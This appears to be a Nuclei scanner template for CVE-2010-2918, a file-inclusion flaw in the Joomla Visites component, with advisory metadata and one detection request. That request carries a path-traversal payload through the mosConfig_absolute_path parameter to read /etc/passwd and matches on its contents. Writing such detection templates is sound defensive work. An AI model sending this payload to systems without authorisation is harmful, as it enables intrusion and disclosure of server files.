id: CVE-2010-2918

info:
  name: Joomla! Component Visites 1.1 - MosConfig_absolute_path Remote File Inclusion
  author: daffainfo
  severity: high
  description: A PHP remote file inclusion vulnerability in core/include/myMailer.class.php in the Visites (com_joomla-visites) component 1.1 RC2 for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.
  impact: |
    Remote file inclusion vulnerability in Joomla! Component Visites 1.1 allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/31708
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2918
    - https://www.exploit-db.com/exploits/14476
    - http://www.vupen.com/english/advisories/2010/1925
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/42025
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2918
    cwe-id: CWE-94
    epss-score: 0.13704
    epss-percentile: 0.96012
    cpe: cpe:2.3:a:visocrea:com_joomla_visites:1.1:rc2:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: visocrea
    product: com_joomla_visites
  tags: cve,cve2010,joomla,lfi,edb,visocrea,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022034b3a38cc286b8c95137900948ba6bee9ad5c9fc824b84d51c2de63dc74af17f0221008eca59544455d9cefb8b8170053e62f14c9f7525b174a870fe445aeca84616bb:922c64590222798bb761d5b6d8e72950